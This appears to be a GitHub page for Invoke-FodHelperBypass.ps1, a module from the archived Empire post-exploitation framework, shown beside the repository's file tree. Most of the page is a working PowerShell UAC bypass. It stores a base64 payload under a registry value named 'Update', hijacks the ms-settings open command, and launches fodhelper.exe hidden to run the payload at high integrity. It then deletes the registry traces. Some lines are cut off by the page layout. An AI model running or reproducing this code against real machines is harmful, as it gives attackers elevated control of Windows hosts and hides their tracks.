This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

EmpireProject / Empire Public archive

Notifications Fork 2.8k Star 7.4k

Empire / data / module_source / privesc / Invoke-FodHelperBypass.ps1

etn-security minor doc/comment changes 5495193 · 7 years ago History

```
function Invoke-FodHelperBypass {
<#
.SYNOPSIS

Bypasses UAC by performing an registry modification for FodHelper (based on https://win

Only tested on Windows 10

Author: Petr Medonos (@PetrMedonos)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.PARAMETER Command

 Specifies the base64 encoded command you want to run in a high-integrity context.

.EXAMPLE

Invoke-FodHelperBypass -Command "IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAG

This will write out "Is Elevated: True" to C:\UACBypassTest.

#>

    [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
    Param (
        [Parameter(Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Command,

        [Switch]
        $Force
    )
    $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\
    $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVe

    if(($(whoami /groups) -like "*S-1-5-32-544*").length -eq 0) {
        "[!] Current user not a local administrator!"
        Throw ("Current user not a local administrator!")
    }
    if (($(whoami /groups) -like "*S-1-16-8192*").length -eq 0) {
```

Files

e37fb2e

Go to file

- .github
- data
  - agent

Empire / data / module_source / privesc / Invoke-FodHelperBypass.ps1 Top

Code Blame 105 lines (83 loc) · 4.41 KB Raw

```
    if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){
        "UAC is set to 'Always Notify'. This module does not bypass this setting."
        exit
    }
    else{
        #Begin Execution

        #Store the payload
```

- agent
- misc
- module_source
  - code_execution
  - collection
  - credentials
  - exfil
  - exploitation
  - fun
  - lateral_movement
  - management
  - persistence
  - privesc
    - Get-GPPPassword.ps1
    - Get-SiteListPassword.ps1
    - Get-System.ps1
    - Invoke-BypassUAC.ps1
    - Invoke-BypassUACTokenMan...
    - Invoke-EnvBypass.ps1
    - Invoke-EventVwrBypass.ps1
    - Invoke-FodHelperBypass.ps1
    - Invoke-MS16032.ps1
    - Invoke-MS16135.ps1
    - Invoke-SDCLTBypass.ps1
    - Invoke-Tater.ps1
    - Invoke-WScriptBypassUAC.ps1
    - PowerUp.ps1
  - python
  - recon
  - situational_awareness
  - trollsploit
- obfuscated_module_source
- profiles
- lib
- plugins
- setup
- .build.sh
- .dockerignore
- .gitignore
- .release.sh

```
            #Store the payload
            $RegPath = 'HKCU:Software\Microsoft\Windows\Update'
            $parts = $RegPath.split('\');
            $path = $RegPath.split("\")[0..($parts.count -2)] -join '\';
            $name = $parts[-1];
            $null = Set-ItemProperty -Force -Path $path -Name $name -Value $Command;

            $mssCommandPath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"

            $launcherCommand = $pshome + '\' + 'powershell.exe -NoP -NonI -W Hidden -c $x=$
            #Add in the new registry entries to execute launcher
            if ($Force -or ((Get-ItemProperty -Path $mssCommandPath -Name '(default)' -Erro
                New-Item $mssCommandPath -Force | Out-Null
                New-ItemProperty -Path $mssCommandPath -Name "DelegateExecute" -Value "" -F
                Set-ItemProperty -Path $mssCommandPath -Name "(default)" -Value $launcherCo
            }else{
                Write-Warning "Key already exists, consider using -Force"
                exit
            }


            $FodHelperPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -Chil
            #Start Event Viewer
            if ($PSCmdlet.ShouldProcess($FodHelperPath, 'Start process')) {
                $Process = Start-Process -FilePath $FodHelperPath -PassThru -WindowStyle Hi
                Write-Verbose "Started fodhelper.exe"
            }

            #Sleep 5 seconds
            Write-Verbose "Sleeping 5 seconds to trigger payload"
            if (-not $PSBoundParameters['WhatIf']) {
                Start-Sleep -Seconds 5
            }

            $mssfilePath = 'HKCU:\Software\Classes\ms-settings\'
            $PayloadPath = 'HKCU:Software\Microsoft\Windows'
            $PayloadKey = "Update"

            if (Test-Path $mssfilePath) {
                #Remove the registry entry
                Remove-Item $mssfilePath -Recurse -Force
                Remove-ItemProperty -Force -Path $PayloadPath -Name $PayloadKey
                Write-Verbose "Removed registry entries"
            }

            if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
                Stop-Process -Id $Process.Id
                Write-Verbose "Killed running fodhelper process"
            }
        }
    }
```